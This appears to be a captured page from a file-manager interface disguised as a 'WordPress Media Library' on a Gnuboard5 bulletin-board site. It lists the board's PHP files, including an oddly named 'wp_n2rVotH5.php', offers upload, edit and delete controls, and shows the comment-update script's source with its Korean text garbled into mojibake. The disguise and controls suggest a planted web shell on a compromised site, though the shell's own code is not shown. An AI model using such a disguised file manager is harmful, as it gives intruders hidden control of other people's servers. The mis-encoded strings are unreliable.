โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: write_comment_update.php
Size: 14.55 KB | Modified: 2019-12-05 09:09:25
<?php define('G5_CAPTCHA', true); include_once('./_common.php'); include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); // ํ ํฐ์ฒดํฌ $comment_token = trim(get_session('ss_comment_token')); set_session('ss_comment_token', ''); if(!trim($_POST['token']) || !$comment_token || $comment_token != $_POST['token']) alert('์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.'); // 090710 if (substr_count($wr_content, "&#") > 50) { alert('๋ด์ฉ์ ์ฌ๋ฐ๋ฅด์ง ์์ ์ฝ๋๊ฐ ๋ค์ ํฌํจ๋์ด ์์ต๋๋ค.'); exit; } @include_once($board_skin_path.'/write_comment_update.head.skin.php'); $w = $_POST["w"]; $wr_name = trim($_POST['wr_name']); $wr_email = ''; $reply_array = array(); if (!empty($_POST['wr_email'])) $wr_email = get_email_address(trim($_POST['wr_email'])); // ๋นํ์์ ๊ฒฝ์ฐ ์ด๋ฆ์ด ๋๋ฝ๋๋ ๊ฒฝ์ฐ๊ฐ ์์ if ($is_guest) { if ($wr_name == '') alert('์ด๋ฆ์ ํํ ์ ๋ ฅํ์ ์ผ ํฉ๋๋ค.'); if(!chk_captcha()) alert('์๋๋ฑ๋ก๋ฐฉ์ง ์ซ์๊ฐ ํ๋ ธ์ต๋๋ค.'); } if ($w == "c" || $w == "cu") { if ($member['mb_level'] < $board['bo_comment_level']) alert('๋๊ธ์ ์ธ ๊ถํ์ด ์์ต๋๋ค.'); } else alert('w ๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); // ์ธ์ ์ ์๊ฐ ๊ฒ์ฌ // 4.00.15 - ๋๊ธ ์์ ์ ์ฐ์ ๊ฒ์๋ฌผ ๋ฑ๋ก ๋ฉ์์ง๋ก ์ธํ ์ค๋ฅ ์์ if ($w == 'c' && $_SESSION['ss_datetime'] >= (G5_SERVER_TIME - $config['cf_delay_sec']) && !$is_admin) alert('๋๋ฌด ๋น ๋ฅธ ์๊ฐ๋ด์ ๊ฒ์๋ฌผ์ ์ฐ์ํด์ ์ฌ๋ฆด ์ ์์ต๋๋ค.'); set_session('ss_datetime', G5_SERVER_TIME); $wr = get_write($write_table, $wr_id); if (empty($wr['wr_id'])) alert("๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n๊ธ์ด ์ญ์ ๋์๊ฑฐ๋ ์ด๋ํ์์ ์ ์์ต๋๋ค."); // "์ธํฐ๋ท์ต์ > ๋ณด์ > ์ฌ์ฉ์์ ์์์ค > ์คํฌ๋ฆฝํ > Action ์คํฌ๋ฆฝํ > ์ฌ์ฉ ์ ํจ" ์ผ ๊ฒฝ์ฐ์ ์ค๋ฅ ์ฒ๋ฆฌ // ์ด ์ต์ ์ ์ฌ์ฉ ์ ํจ์ผ๋ก ์ค์ ํ ๊ฒฝ์ฐ ์ด๋ค ์คํฌ๋ฆฝํธ๋ ์คํ ๋์ง ์์ต๋๋ค. //if (!trim($_POST["wr_content"])) die ("๋ด์ฉ์ ์ ๋ ฅํ์ฌ ์ฃผ์ญ์์ค."); $post_wr_password = ''; if ($is_member) { $mb_id = $member['mb_id']; // 4.00.13 - ์ค๋ช ์ฌ์ฉ์ผ๋ ๋๊ธ์ ๋๋ค์์ผ๋ก ์ ๋ ฅ๋๋ ์ค๋ฅ๋ฅผ ์์ $wr_name = addslashes(clean_xss_tags($board['bo_use_name'] ? $member['mb_name'] : $member['mb_nick'])); $wr_password = ''; $wr_email = addslashes($member['mb_email']); $wr_homepage = addslashes(clean_xss_tags($member['mb_homepage'])); } else { $mb_id = ''; $post_wr_password = $wr_password; $wr_password = get_encrypt_string($wr_password); } if ($w == 'c') // ๋๊ธ ์ ๋ ฅ { /* if ($member[mb_point] + $board[bo_comment_point] < 0 && !$is_admin) alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member[mb_point]).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๋๊ธ์ฐ๊ธฐ('.number_format($board[bo_comment_point]).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ์ ๋ฆฝํ์ ํ ๋ค์ ๋๊ธ์ ์จ ์ฃผ์ญ์์ค.'); */ // ๋๊ธ์ฐ๊ธฐ ํฌ์ธํธ์ค์ ์ ํ์์ ํฌ์ธํธ๊ฐ ์์์ธ ๊ฒฝ์ฐ ๋๊ธ์ ์ฐ์ง ๋ชปํ๋ ๋ฒ๊ทธ๋ฅผ ์์ (๊ณฑ์ฌ์ต์จ๋) $tmp_point = ($member['mb_point'] > 0) ? $member['mb_point'] : 0; if ($tmp_point + $board['bo_comment_point'] < 0 && !$is_admin) alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member['mb_point']).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๋๊ธ์ฐ๊ธฐ('.number_format($board['bo_comment_point']).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ์ ๋ฆฝํ์ ํ ๋ค์ ๋๊ธ์ ์จ ์ฃผ์ญ์์ค.'); // ๋๊ธ ๋ต๋ณ if ($comment_id) { $reply_array = get_write($write_table, $comment_id, true); if (!$reply_array['wr_id']) alert('๋ต๋ณํ ๋๊ธ์ด ์์ต๋๋ค.\\n\\n๋ต๋ณํ๋ ๋์ ๋๊ธ์ด ์ญ์ ๋์์ ์ ์์ต๋๋ค.'); if($wr['wr_parent'] != $reply_array['wr_parent']) alert('๋๊ธ์ ๋ฑ๋กํ ์ ์์ต๋๋ค.'); $tmp_comment = $reply_array['wr_comment']; if (strlen($reply_array['wr_comment_reply']) == 5) alert('๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n\\n๋ต๋ณ์ 5๋จ๊ณ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค.'); $reply_len = strlen($reply_array['wr_comment_reply']) + 1; if ($board['bo_reply_order']) { $begin_reply_char = 'A'; $end_reply_char = 'Z'; $reply_number = +1; $sql = " select MAX(SUBSTRING(wr_comment_reply, $reply_len, 1)) as reply from $write_table where wr_parent = '$wr_id' and wr_comment = '$tmp_comment' and SUBSTRING(wr_comment_reply, $reply_len, 1) <> '' "; } else { $begin_reply_char = 'Z'; $end_reply_char = 'A'; $reply_number = -1; $sql = " select MIN(SUBSTRING(wr_comment_reply, $reply_len, 1)) as reply from $write_table where wr_parent = '$wr_id' and wr_comment = '$tmp_comment' and SUBSTRING(wr_comment_reply, $reply_len, 1) <> '' "; } if ($reply_array['wr_comment_reply']) $sql .= " and wr_comment_reply like '{$reply_array['wr_comment_reply']}%' "; $row = sql_fetch($sql); if (!$row['reply']) $reply_char = $begin_reply_char; else if ($row['reply'] == $end_reply_char) // A~Z์ 26 ์ ๋๋ค. alert('๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n\\n๋ต๋ณ์ 26๊ฐ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค.'); else $reply_char = chr(ord($row['reply']) + $reply_number); $tmp_comment_reply = $reply_array['wr_comment_reply'] . $reply_char; } else { $sql = " select max(wr_comment) as max_comment from $write_table where wr_parent = '$wr_id' and wr_is_comment = 1 "; $row = sql_fetch($sql); //$row[max_comment] -= 1; $row['max_comment'] += 1; $tmp_comment = $row['max_comment']; $tmp_comment_reply = ''; } $wr_subject = get_text(stripslashes($wr['wr_subject'])); $sql = " insert into $write_table set ca_name = '{$wr['ca_name']}', wr_option = '$wr_secret', wr_num = '{$wr['wr_num']}', wr_reply = '', wr_parent = '$wr_id', wr_is_comment = 1, wr_comment = '$tmp_comment', wr_comment_reply = '$tmp_comment_reply', wr_subject = '', wr_content = '$wr_content', mb_id = '$mb_id', wr_password = '$wr_password', wr_name = '$wr_name', wr_email = '$wr_email', wr_homepage = '$wr_homepage', wr_datetime = '".G5_TIME_YMDHIS."', wr_last = '', wr_ip = '{$_SERVER['REMOTE_ADDR']}', wr_1 = '$wr_1', wr_2 = '$wr_2', wr_3 = '$wr_3', wr_4 = '$wr_4', wr_5 = '$wr_5', wr_6 = '$wr_6', wr_7 = '$wr_7', wr_8 = '$wr_8', wr_9 = '$wr_9', wr_10 = '$wr_10' "; sql_query($sql); $comment_id = sql_insert_id(); // ์๊ธ์ ๋๊ธ์ ์ฆ๊ฐ & ๋ง์ง๋ง ์๊ฐ ๋ฐ์ sql_query(" update $write_table set wr_comment = wr_comment + 1, wr_last = '".G5_TIME_YMDHIS."' where wr_id = '$wr_id' "); // ์๊ธ INSERT sql_query(" insert into {$g5['board_new_table']} ( bo_table, wr_id, wr_parent, bn_datetime, mb_id ) values ( '$bo_table', '$comment_id', '$wr_id', '".G5_TIME_YMDHIS."', '{$member['mb_id']}' ) "); // ๋๊ธ 1 ์ฆ๊ฐ sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment + 1 where bo_table = '$bo_table' "); // ํฌ์ธํธ ๋ถ์ฌ insert_point($member['mb_id'], $board['bo_comment_point'], "{$board['bo_subject']} {$wr_id}-{$comment_id} ๋๊ธ์ฐ๊ธฐ", $bo_table, $comment_id, '๋๊ธ'); // ๋ฉ์ผ๋ฐ์ก ์ฌ์ฉ if ($config['cf_email_use'] && $board['bo_use_email']) { // ๊ด๋ฆฌ์์ ์ ๋ณด๋ฅผ ์ป๊ณ $super_admin = get_admin('super'); $group_admin = get_admin('group'); $board_admin = get_admin('board'); $wr_content = nl2br(get_text(stripslashes("์๊ธ\n{$wr['wr_subject']}\n\n\n๋๊ธ\n$wr_content"))); $warr = array( ''=>'์ ๋ ฅ', 'u'=>'์์ ', 'r'=>'๋ต๋ณ', 'c'=>'๋๊ธ ', 'cu'=>'๋๊ธ ์์ ' ); $str = $warr[$w]; $subject = '['.$config['cf_title'].'] '.$board['bo_subject'].' ๊ฒ์ํ์ '.$str.'๊ธ์ด ์ฌ๋ผ์์ต๋๋ค.'; // 4.00.15 - ๋ฉ์ผ๋ก ๋ณด๋ด๋ ๋๊ธ์ ๋ฐ๋ก๊ฐ๊ธฐ ๋งํฌ ์์ $link_url = get_pretty_url($bo_table, $wr_id, $qstr."#c_".$comment_id); include_once(G5_LIB_PATH.'/mailer.lib.php'); ob_start(); include_once ('./write_update_mail.php'); $content = ob_get_contents(); ob_end_clean(); $array_email = array(); // ๊ฒ์ํ๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_board_admin']) $array_email[] = $board_admin['mb_email']; // ๊ฒ์ํ๊ทธ๋ฃน๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_group_admin']) $array_email[] = $group_admin['mb_email']; // ์ต๊ณ ๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_super_admin']) $array_email[] = $super_admin['mb_email']; // ์๊ธ๊ฒ์์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_write']) $array_email[] = $wr['wr_email']; // ๋๊ธ ์ด ๋ชจ๋ ์ด์๊ฒ ๋ฉ์ผ ๋ฐ์ก์ด ๋์ด ์๋ค๋ฉด (์์ ์๊ฒ๋ ๋ฐ์กํ์ง ์๋๋ค) if ($config['cf_email_wr_comment_all']) { $sql = " select distinct wr_email from {$write_table} where wr_email not in ( '{$wr['wr_email']}', '{$member['mb_email']}', '' ) and wr_parent = '$wr_id' "; $result = sql_query($sql); while ($row=sql_fetch_array($result)) $array_email[] = $row['wr_email']; } // ์ค๋ณต๋ ๋ฉ์ผ ์ฃผ์๋ ์ ๊ฑฐ $unique_email = array_unique($array_email); $unique_email = array_values($unique_email); for ($i=0; $i<count($unique_email); $i++) { mailer($wr_name, $wr_email, $unique_email[$i], $subject, $content, 1); } } // SNS ๋ฑ๋ก include_once("./write_comment_update.sns.php"); if($wr_facebook_user || $wr_twitter_user) { $sql = " update $write_table set wr_facebook_user = '$wr_facebook_user', wr_twitter_user = '$wr_twitter_user' where wr_id = '$comment_id' "; sql_query($sql); } } else if ($w == 'cu') // ๋๊ธ ์์ { $sql = " select mb_id, wr_password, wr_comment, wr_comment_reply from $write_table where wr_id = '$comment_id' "; $comment = $reply_array = sql_fetch($sql); $tmp_comment = $reply_array['wr_comment']; $len = strlen($reply_array['wr_comment_reply']); if ($len < 0) $len = 0; $comment_reply = substr($reply_array['wr_comment_reply'], 0, $len); //print_r2($GLOBALS); exit; if ($is_admin == 'super') // ์ต๊ณ ๊ด๋ฆฌ์ ํต๊ณผ ; else if ($is_admin == 'group') { // ๊ทธ๋ฃน๊ด๋ฆฌ์ $mb = get_member($comment['mb_id']); if ($member['mb_id'] === $group['gr_admin']) { // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ธ๊ฐ? if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else alert('๊ทธ๋ฃน๊ด๋ฆฌ์์ ๊ถํ๋ณด๋ค ๋์ ํ์์ ๋๊ธ์ด๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.'); } else alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ๋๊ธ์ ์์ ํ ์ ์์ต๋๋ค.'); } else if ($is_admin == 'board') { // ๊ฒ์ํ๊ด๋ฆฌ์์ด๋ฉด $mb = get_member($comment['mb_id']); if ($member['mb_id'] === $board['bo_admin']) { // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ธ๊ฐ? if ($member['mb_level'] >= $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ ; else alert('๊ฒ์ํ๊ด๋ฆฌ์์ ๊ถํ๋ณด๋ค ๋์ ํ์์ ๋๊ธ์ด๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.'); } else alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ๋๊ธ์ ์์ ํ ์ ์์ต๋๋ค.'); } else if ($member['mb_id']) { if ($member['mb_id'] !== $comment['mb_id']) alert('์์ ์ ๊ธ์ด ์๋๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.'); } else { if( !($comment['mb_id'] === '' && $comment['wr_password'] && check_password($post_wr_password, $comment['wr_password'])) ) alert('๋๊ธ์ ์์ ํ ๊ถํ์ด ์์ต๋๋ค.'); } $sql = " select count(*) as cnt from $write_table where wr_comment_reply like '$comment_reply%' and wr_id <> '$comment_id' and wr_parent = '$wr_id' and wr_comment = '$tmp_comment' and wr_is_comment = 1 "; $row = sql_fetch($sql); if ($row['cnt'] && !$is_admin) alert('์ด ๋๊ธ์ ๊ด๋ จ๋ ๋ต๋ณ๋๊ธ์ด ์กด์ฌํ๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.'); $sql_ip = ""; if (!$is_admin) $sql_ip = " , wr_ip = '{$_SERVER['REMOTE_ADDR']}' "; $sql_secret = ""; if ($wr_secret) $sql_secret = " , wr_option = '$wr_secret' "; $sql = " update $write_table set wr_subject = '$wr_subject', wr_content = '$wr_content', wr_1 = '$wr_1', wr_2 = '$wr_2', wr_3 = '$wr_3', wr_4 = '$wr_4', wr_5 = '$wr_5', wr_6 = '$wr_6', wr_7 = '$wr_7', wr_8 = '$wr_8', wr_9 = '$wr_9', wr_10 = '$wr_10', wr_option = '$wr_option' $sql_ip $sql_secret where wr_id = '$comment_id' "; sql_query($sql); } // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/write_comment_update.skin.php'); @include_once($board_skin_path.'/write_comment_update.tail.skin.php'); delete_cache_latest($bo_table); $redirect_url = short_url_clean(G5_HTTP_BBS_URL.'/board.php?bo_table='.$bo_table.'&wr_id='.$wr['wr_parent'].'&'.$qstr.'&#c_'.$comment_id); run_event('comment_update_after', $board, $wr_id, $w, $qstr, $redirect_url, $comment_id, $reply_array); goto_url($redirect_url); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete